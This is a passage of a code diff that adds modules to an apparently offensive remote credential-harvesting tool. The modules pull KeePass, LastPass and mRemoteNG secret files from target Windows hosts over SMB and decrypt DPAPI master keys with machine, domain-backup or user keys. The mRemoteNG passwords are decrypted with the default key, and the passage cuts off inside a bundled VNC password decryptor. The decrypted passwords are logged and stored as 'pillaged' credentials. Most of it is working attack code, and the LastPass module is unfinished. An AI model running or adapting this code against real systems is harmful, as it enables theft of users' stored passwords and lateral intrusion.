https://fossies.org/windows/misc/KeePass-2.47-Source.zip/KeePassLib/Keys/KcpUserAccount.cs (lines 44-47) + byte[] keyBytes = Dpapi.DescribeDPAPIBlob(keyFileBytes, MasterKeys, "keepass", unprotect, Helpers.ConvertHexStringToByteArray("DE135B5F18A34670B2572429698898E6")); + if(keyBytes.Length > 0) + { + Console.WriteLine(" Key Bytes : {0}", BitConverter.ToString(keyBytes).Replace("-"," ")); + } + } + ''' + try: + + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + myoptions.masterkeys = None # user.masterkeys_file + myoptions.key = None + mydpapi = DPAPI(myoptions, self.logging) + guid = mydpapi.find_CredentialFile_masterkey() + self.logging.debug(f"[{self.options.target_ip}] Looking for {longname} masterkey : {guid}") + if guid != None: + masterkey = self.get_masterkey(user=user, guid=guid, type='DOMAIN') + if masterkey != None: + if masterkey['status'] == 'decrypted': + mydpapi.options.key = masterkey['key']. + cred_data = mydpapi.decrypt_blob(entropy=string_to_bin('DE135B5F18A34670B2572429698898E6')) + if cred_data != None: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} KeePass Password {longname}{bcolors.ENDC}") + user.files[longname]['status'] = 'decrypted' + user.files[longname]['data'] = cred_data + self.db.add_credz(credz_type='KEEPASS-MASTERKEY',credz_username=user.username.decode('utf-8'),redz_password=cred_data.decode('utf-8'),credz_target='',credz_path=localfile,pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=user.username) + self.keepass_password=cred_data.decode('utf-8') + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") + + return 1 + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ProcessFile {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + + def get_masterkey(self, user, guid, type): + guid = guid.lower() + if guid not in user.masterkeys_file: + self.logging.debug( + f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found") + return -1 + else: + self.logging.debug( + f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} Found") + if user.masterkeys_file[guid]['status'] == 'decrypted': + self.logging.debug( + f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted") + return user.masterkeys_file[guid] + elif user.masterkeys_file[guid]['status'] == 'encrypted': + return self.decrypt_masterkey(user, guid, type) + + def decrypt_masterkey(self, user, guid, type=''): + self.logging.debug( + f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} of type {type} (type_validated={user.type_validated}/user.type={user.type})") + guid = guid.lower() + if guid not in user.masterkeys_file: + self.logging.debug( + f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found") + return -1 + localfile = user.masterkeys_file[guid]['path'] + + if user.masterkeys_file[guid]['status'] == 'decrypted': + self.logging.debug( + f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted") + return user.masterkeys_file[guid] + else: + if user.type_validated == True: + type = user.type + + if type == 'MACHINE': + # Try de decrypt masterkey file + for key in self.machine_key: + self.logging.debug( + f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE_Key from LSA {key.decode('utf-8')}") + try: + myoptions = copy.deepcopy(self.options) + myoptions.sid = None # user.sid + myoptions.username = user.username + myoptions.pvk = None + myoptions.file = localfile # Masterkeyfile to parse + myoptions.key = key.decode("utf-8") + mydpapi = DPAPI(myoptions, self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey() + if decrypted_masterkey != None and decrypted_masterkey != -1: + # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" ) + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + # user.masterkeys[localfile] = decrypted_masterkey + user.type = 'MACHINE' + user.type_validated = True + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with="MACHINE-KEY", decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}") + self.logging.debug(ex) + else: + if user.type_validated == False: + self.decrypt_masterkey(user, guid, type='MACHINE-USER') + + elif type == 'MACHINE-USER': + # Try de decrypt masterkey file + for key in self.user_key: + self.logging.debug( + f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE-USER_Key from LSA {key.decode('utf-8')}") # and SID %s , user.sid )) + try: + # key1, key2 = deriveKeysFromUserkey(tsid, userkey) + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + if user.is_adconnect is True: + myoptions.key = key.decode("utf-8") + myoptions.sid = user.sid + else: + myoptions.key = key.decode("utf-8") # None + myoptions.sid = None # user.sid + + myoptions.username = user.username + myoptions.pvk = None + mydpapi = DPAPI(myoptions, self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey() + if decrypted_masterkey != -1 and decrypted_masterkey != None: + # self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}") + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + # user.masterkeys[localfile] = decrypted_masterkey + user.type = 'MACHINE-USER' + user.type_validated = True + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with="MACHINE-USER", decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}") + self.logging.debug(ex) + else: + if user.type_validated == False and not user.is_adconnect: + return self.decrypt_masterkey(user, guid, type='DOMAIN') + + elif type == 'DOMAIN' and self.options.pvk is not None: + # For ADConnect + if user.is_adconnect is True: + return self.decrypt_masterkey(user, guid, type='MACHINE-USER') + # Try de decrypt masterkey file + self.logging.debug( + f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey {self.options.pvk}") + try: + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + myoptions.username = user.username + myoptions.sid = user.sid + mydpapi = DPAPI(myoptions, self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey() + if decrypted_masterkey != -1 and decrypted_masterkey != None: + # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey) + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + # user.masterkeys[localfile] = decrypted_masterkey + user.type = 'DOMAIN' + user.type_validated = True + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for user {bcolors.OKBLUE} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with="DOMAIN-PVK", + decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Domain Backupkey {self.options.pvk} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid} -> Checking with Local user with credz{bcolors.ENDC}") + if user.type_validated == False: + return self.decrypt_masterkey(user, guid, 'LOCAL') + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz{bcolors.ENDC}") + self.logging.debug(f"exception was : {ex}") + if user.type_validated == False: + return self.decrypt_masterkey(user, guid, 'LOCAL') + + # type==LOCAL + # On a des credz + if len(self.options.credz) > 0 and user.masterkeys_file[guid][ + 'status'] != 'decrypted': # localfile not in user.masterkeys: + self.logging.debug( + f"[{self.options.target_ip}] [...] Testing decoding {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with credz") + for username in self.options.credz: + if username in user.username: # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ? + self.logging.debug( + f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[user.username])} credz for user {user.username}") + # for test_cred in self.options.credz[user.username]: + try: + self.logging.debug( + f"[{self.options.target_ip}]Trying to decrypt {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with user SID {user.sid} and {len(self.options.credz[username])}credential(s) from credz file") + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + # myoptions.password = self.options.credz[username] + myoptions.sid = user.sid + myoptions.pvk = None + myoptions.key = None + mydpapi = DPAPI(myoptions, self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey(passwords=self.options.credz[username]) + if decrypted_masterkey != -1 and decrypted_masterkey != None: + # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}") + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + # user.masterkeys[localfile] = decrypted_masterkey + user.type = 'LOCAL' + user.type_validated = True + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for User {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with=f"Password:{self.options.credz[username]}", + decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug( + f"[{self.options.target_ip}] error decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with {len(self.options.credz[username])} passwords from user {username} in cred list") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Except decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey with {len(self.options.credz[username])} passwords from user {username} in cred list") + self.logging.debug(ex) + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.FAIL}no credential in credz file for user {user.username} and masterkey {guid} {bcolors.ENDC}") + # on a pas su le dechiffrer, mais on conseve la masterkey + '''if localfile not in user.masterkeys: + user.masterkeys[localfile] = None''' + if user.masterkeys_file[guid]['status'] == 'encrypted': + user.masterkeys_file[guid]['status'] = 'decryption_failed' + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], decrypted_with='', + decrypted_value='', + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return -1 + elif user.masterkeys_file[guid]['status'] == 'decrypted': # Should'nt go here + return user.masterkeys_file[guid] \ No newline at end of file diff --git a/software/manager/lastpass.py b/software/manager/lastpass.py new file mode 100644 index 0000000..b074d38 --- /dev/null +++ b/software/manager/lastpass.py @@ -0,0 +1,87 @@ +#%UserProfile%\AppData\Local\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0 +''' +https://www.slideshare.net/martinvigo/breaking-vaults-stealing-lastpass-protected-secrets + +Windows data storage +Chrome – Run %AppData% then go to AppData\Local\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0\ +Firefox and Internet Explorer – Run %AppData% then go to AppData\LocalLow\LastPass\ OR Run %AppData% then go to AppData\Local Settings\Application Data\LastPass\ +Edge – Run %AppData% then go to AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\ +Opera – Run %AppData% then go to AppData\Local\Opera Software\Opera Stable\Cache\ +''' +import ntpath +import LnkParse3 +from lib.toolbox import bcolors +from lib.fileops import MyFileOps + +class lastpass(): + def __init__(self,smb,myregops,myfileops,logger,options,db,users): + self.myregops = myregops + self.myfileops = myfileops + self.logging = logger + self.options = options + self.db = db + self.users = users + self.smb = smb + + + def run(self): + self.get_files() + #self.process_files() + #self.decrypt_all() + + def get_files(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering New Module Secrets {bcolors.ENDC}") + blacklist = ['.', '..'] + + user_directories = [("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0\\", ('*')), + ("Users\\{username}\\AppData\\LocalLow\\LastPass\\",('*')), + ("Users\\{username}\\AppData\\Local Settings\\Application Data\\LastPass\\", ('*')), + ("Users\\{username}\\AppData\\Opera Software\\Opera Stable\\Cache\\", ('*')), + ("Users\\{username}\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\", ('*.xls','*.pdf','*.doc*','*.lnk'))] + machine_directories = [("Windows\\System32\\config\\", '*'),] + + for user in self.users: + self.logging.debug( + f"[{self.options.target_ip}] Looking for {user.username} ") + if user.username == 'MACHINE$': + directories_to_use = machine_directories + else: + directories_to_use = user_directories + + for info in directories_to_use: + my_dir, my_mask = info + tmp_pwd = my_dir.format(username=user.username) + self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") + for mask in my_mask: + my_directory = self.myfileops.do_ls(tmp_pwd, mask, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned file %s" % longname) + if longname not in blacklist and not is_directory: + try: + # Downloading file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True) + self.process_file(localfile,user) + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + + + + def process_file(self,localfile,username): + try: + #encryptionkey = PBKDF2-SHA256(username,Masterpassword,iteration,32) + ''' + #Rememberme + sqliteDB or pref.js (user_pref("extensions.lastpass.loginusers/loginpws) + ECB or CBC + AES-256(IV,Key=sha256(username),data) =>Data=!IV24 + ''' + + self.db.add_credz(credz_type='LASTPASS',credz_username=username.decode('utf-8'),redz_password=ntlm.decode('utf-8'),credz_target='',credz_path=localfile,pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=username) + return 1 + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ProcessFile {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + diff --git a/software/manager/mRemoteNG.py b/software/manager/mRemoteNG.py new file mode 100644 index 0000000..724be8b --- /dev/null +++ b/software/manager/mRemoteNG.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python +# coding:utf-8 +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +#From : https://github.com/haseebT/mRemoteNG-Decrypt/blob/master/mremoteng_decrypt.py + +import ntpath +from lib.toolbox import bcolors +import hashlib +import base64 +from Cryptodome.Cipher import AES +import xml.etree.ElementTree as ET + + +class mRemoteNG(): + def __init__(self,smb,myregops,myfileops,logger,options,db,users): + self.myregops = myregops + self.myfileops = myfileops + self.logging = logger + self.options = options + self.db = db + self.users = users + self.smb = smb + + + def run(self): + self.get_files() + #self.process_files() + #self.decrypt_all() + + def get_files(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering mRemoteNG Secrets {bcolors.ENDC}") + blacklist = ['.', '..'] + + user_directories = [("Users\\{username}\\AppData\\Local\\mRemoteNG", ('confCons.xml','mRemoteNG.exe.config')), + ("Users\\{username}\\AppData\\Roaming\\mRemoteNG", ('confCons.xml','mRemoteNG.exe.config'))] + machine_directories = [("Program Files (x86)\\mRemoteNG\\", 'mRemoteNG.exe.config'), + ("PROGRAMFILES\\mRemoteNG\\", 'mRemoteNG.exe.config'), + ] + + for user in self.users: + self.logging.debug( + f"[{self.options.target_ip}] Looking for {user.username} ") + if user.username == 'MACHINE$': + continue + #directories_to_use = machine_directories + else: + directories_to_use = user_directories + + for info in directories_to_use: + my_dir, my_mask = info + tmp_pwd = my_dir.format(username=user.username) + self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") + for mask in my_mask: + my_directory = self.myfileops.do_ls(tmp_pwd, mask, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned file %s" % longname) + if longname not in blacklist and not is_directory: + try: + # Downloading file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True) + self.process_file(localfile,user.username) + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + + + + def process_file(self,localfile,username): + try: + if "confCons.xml" in localfile: + tree = ET.parse(localfile) + root = tree.getroot() + #Extraire l'element Username et Password pour chaque node + for node in list(root): + try: + name=node.attrib['Name'] + username_=node.attrib['Domain']+'\\'+node.attrib['Username'] + destination=node.attrib['Protocol']+'://'+node.attrib['Hostname']+':'+node.attrib['Port'] + encrypted_password=node.attrib['Password'] + encrypted_data = encrypted_password.strip() + encrypted_data = base64.b64decode(encrypted_data) + + salt = encrypted_data[:16] + associated_data = encrypted_data[:16] + nonce = encrypted_data[16:32] + ciphertext = encrypted_data[32:-16] + tag = encrypted_data[-16:] + default_password="mR3m" + key = hashlib.pbkdf2_hmac("sha1", default_password.encode(), salt, 1000, dklen=32) + + cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) + cipher.update(associated_data) + plaintext = cipher.decrypt_and_verify(ciphertext, tag).decode('utf8') + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN} [mRemoteNG] {bcolors.OKBLUE}{username_}:{plaintext} @ {destination}{bcolors.ENDC}") + + self.db.add_credz(credz_type='MRemoteNG',credz_username=f"{username_}",credz_password=plaintext,credz_target=str(destination),credz_path=localfile,pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=username) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in mRemoteNG Process Node of {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + continue + return 1 + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in mRemoteNG ProcessFile {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + diff --git a/software/sysadmin/d3des.py b/software/sysadmin/d3des.py new file mode 100644 index 0000000..1670b42 --- /dev/null +++ b/software/sysadmin/d3des.py @@ -0,0 +1,391 @@ +#!/usr/bin/env python +# +# d3des.py - DES implementation +# +# Copyright (c) 2009 by Yusuke Shinyama +# + +# This is a Python rewrite of d3des.c by Richard Outerbridge. +# +# I referred to the original VNC viewer code for the changes that +# is necessary to maintain the exact behavior of the VNC protocol. +# Two constants and two functions were added to the original d3des +# code. These added parts were written in Python and marked +# below. I believe that the added parts do not make this program +# a "derivative work" of the VNC viewer (which is GPL'ed and +# written in C), but if there's any problem, let me know. +# +# Yusuke Shinyama (yusuke at cs dot nyu dot edu) + + +# D3DES (V5.09) - +# +# A portable, public domain, version of the Data Encryption Standard. +# +# Written with Symantec's THINK (Lightspeed) C by Richard Outerbridge. +# Thanks to: Dan Hoey for his excellent Initial and Inverse permutation +# code; Jim Gillogly & Phil Karn for the DES key schedule code; Dennis +# Ferguson, Eric Young and Dana How for comparing notes; and Ray Lau, +# for humouring me on. +# +# Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. +# (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. +# + +from struct import pack, unpack + + +################################################### +# +# start: changes made for VNC. +# + +# This constant was taken from vncviewer/rfb/vncauth.c: +vnckey = [23, 82, 107, 6, 35, 78, 88, 7] + +# This is a departure from the original code. +# bytebit = [ 0200, 0100, 040, 020, 010, 04, 02, 01 ] # original +bytebit = [0o1, 0o2, 0o4, 0o10, 0o20, 0o40, 0o100, 0o200] # VNC version + + +# two password functions for VNC protocol. + + +def decrypt_passwd(data): + dk = deskey(pack('8B', *vnckey), True) + return desfunc(data, dk) + + +def generate_response(passwd, challange): + ek = deskey((passwd+'\x00'*8)[:8], False) + return desfunc(challange[:8], ek) + desfunc(challange[8:], ek) + +### +# end: changes made for VNC. +# +################################################### + + +bigbyte = [ + 0x800000, 0x400000, 0x200000, 0x100000, + 0x80000, 0x40000, 0x20000, 0x10000, + 0x8000, 0x4000, 0x2000, 0x1000, + 0x800, 0x400, 0x200, 0x100, + 0x80, 0x40, 0x20, 0x10, + 0x8, 0x4, 0x2, 0x1 + ] + +# Use the key schedule specified in the Standard (ANSI X3.92-1981). + +pc1 = [ + 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, + 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, + 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, + 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 + ] + +totrot = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28] + +pc2 = [ + 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, + 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, + 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, + 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 + ] + + +def deskey(key, decrypt): # Thanks to James Gillogly & Phil Karn! + key = unpack('8B', key) + + pc1m = [0]*56 + pcr = [0]*56 + kn = [0]*32 + + for j in range(56): + l = pc1[j] + m = l & 0o7 + if key[l >> 3] & bytebit[m]: + pc1m[j] = 1 + else: + pc1m[j] = 0 + + for i in range(16): + if decrypt: + m = (15 - i) << 1 + else: + m = i << 1 + n = m + 1 + kn[m] = kn[n] = 0 + for j in range(28): + l = j + totrot[i] + if l < 28: + pcr[j] = pc1m[l] + else: + pcr[j] = pc1m[l - 28] + for j in range(28, 56): + l = j + totrot[i] + if l < 56: + pcr[j] = pc1m[l] + else: + pcr[j] = pc1m[l - 28] + for j in range(24): + if pcr[pc2[j]]: + kn[m] |= bigbyte[j] + if pcr[pc2[j+24]]: + kn[n] |= bigbyte[j] + + return cookey(kn) + + +def cookey(raw): + key = [] + for i in range(0, 32, 2): + (raw0, raw1) = (raw[i], raw[i+1]) + k = (raw0 & 0x00fc0000) << 6 + k |= (raw0 & 0x00000fc0) << 10 + k |= (raw1 & 0x00fc0000) >> 10 + k |= (raw1 & 0x00000fc0) >> 6 + key.append(k) + k = (raw0 & 0x0003f000) << 12 + k |= (raw0 & 0x0000003f) << 16 + k |= (raw1 & 0x0003f000) >> 4 + k |= (raw1 & 0x0000003f) + key.append(k) + return key + + +SP1 = [ + 0x01010400, 0x00000000, 0x00010000, 0x01010404, + 0x01010004, 0x00010404, 0x00000004, 0x00010000, + 0x00000400, 0x01010400, 0x01010404, 0x00000400, + 0x01000404, 0x01010004, 0x01000000, 0x00000004, + 0x00000404, 0x01000400, 0x01000400, 0x00010400, + 0x00010400, 0x01010000, 0x01010000, 0x01000404, + 0x00010004, 0x01000004, 0x01000004, 0x00010004, + 0x00000000, 0x00000404, 0x00010404, 0x01000000, + 0x00010000, 0x01010404, 0x00000004, 0x01010000, + 0x01010400, 0x01000000, 0x01000000, 0x00000400, + 0x01010004, 0x00010000, 0x00010400, 0x01000004, + 0x00000400, 0x00000004, 0x01000404, 0x00010404, + 0x01010404, 0x00010004, 0x01010000, 0x01000404, + 0x01000004, 0x00000404, 0x00010404, 0x01010400, + 0x00000404, 0x01000400, 0x01000400, 0x00000000, + 0x00010004, 0x00010400, 0x00000000, 0x01010004 +] + +SP2 = [ + 0x80108020, 0x80008000, 0x00008000, 0x00108020, + 0x00100000, 0x00000020, 0x80100020, 0x80008020, + 0x80000020, 0x80108020, 0x80108000, 0x80000000, + 0x80008000, 0x00100000, 0x00000020, 0x80100020, + 0x00108000, 0x00100020, 0x80008020, 0x00000000, + 0x80000000, 0x00008000, 0x00108020, 0x80100000, + 0x00100020, 0x80000020, 0x00000000, 0x00108000, + 0x00008020, 0x80108000, 0x80100000, 0x00008020, + 0x00000000, 0x00108020, 0x80100020, 0x00100000, + 0x80008020, 0x80100000, 0x80108000, 0x00008000, + 0x80100000, 0x80008000, 0x00000020, 0x80108020, + 0x00108020, 0x00000020, 0x00008000, 0x80000000, + 0x00008020, 0x80108000, 0x00100000, 0x80000020, + 0x00100020, 0x80008020, 0x80000020, 0x00100020, + 0x00108000, 0x00000000, 0x80008000, 0x00008020, + 0x80000000, 0x80100020, 0x80108020, 0x00108000 +] + +SP3 = [ + 0x00000208, 0x08020200, 0x00000000, 0x08020008, + 0x08000200, 0x00000000, 0x00020208, 0x08000200, + 0x00020008, 0x08000008, 0x08000008, 0x00020000, + 0x08020208, 0x00020008, 0x08020000, 0x00000208, + 0x08000000, 0x00000008, 0x08020200, 0x00000200, + 0x00020200, 0x08020000, 0x08020008, 0x00020208, + 0x08000208, 0x00020200, 0x00020000, 0x08000208, + 0x00000008, 0x08020208, 0x00000200, 0x08000000, + 0x08020200, 0x08000000, 0x00020008, 0x00000208, + 0x00020000, 0x08020200, 0x08000200, 0x00000000, + 0x00000200, 0x00020008, 0x08020208, 0x08000200, + 0x08000008, 0x00000200, 0x00000000, 0x08020008, + 0x08000208, 0x00020000, 0x08000000, 0x08020208, + 0x00000008, 0x00020208, 0x00020200, 0x08000008, + 0x08020000, 0x08000208, 0x00000208, 0x08020000, + 0x00020208, 0x00000008, 0x08020008, 0x00020200 +] + +SP4 = [ + 0x00802001, 0x00002081, 0x00002081, 0x00000080, + 0x00802080, 0x00800081, 0x00800001, 0x00002001, + 0x00000000, 0x00802000, 0x00802000, 0x00802081, + 0x00000081, 0x00000000, 0x00800080, 0x00800001, + 0x00000001, 0x00002000, 0x00800000, 0x00802001, + 0x00000080, 0x00800000, 0x00002001, 0x00002080, + 0x00800081, 0x00000001, 0x00002080, 0x00800080, + 0x00002000, 0x00802080, 0x00802081, 0x00000081, + 0x00800080, 0x00800001, 0x00802000, 0x00802081, + 0x00000081, 0x00000000, 0x00000000, 0x00802000, + 0x00002080, 0x00800080, 0x00800081, 0x00000001, + 0x00802001, 0x00002081, 0x00002081, 0x00000080, + 0x00802081, 0x00000081, 0x00000001, 0x00002000, + 0x00800001, 0x00002001, 0x00802080, 0x00800081, + 0x00002001, 0x00002080, 0x00800000, 0x00802001, + 0x00000080, 0x00800000, 0x00002000, 0x00802080 +] + +SP5 = [ + 0x00000100, 0x02080100, 0x02080000, 0x42000100, + 0x00080000, 0x00000100, 0x40000000, 0x02080000, + 0x40080100, 0x00080000, 0x02000100, 0x40080100, + 0x42000100, 0x42080000, 0x00080100, 0x40000000, + 0x02000000, 0x40080000, 0x40080000, 0x00000000, + 0x40000100, 0x42080100, 0x42080100, 0x02000100, + 0x42080000, 0x40000100, 0x00000000, 0x42000000, + 0x02080100, 0x02000000, 0x42000000, 0x00080100, + 0x00080000, 0x42000100, 0x00000100, 0x02000000, + 0x40000000, 0x02080000, 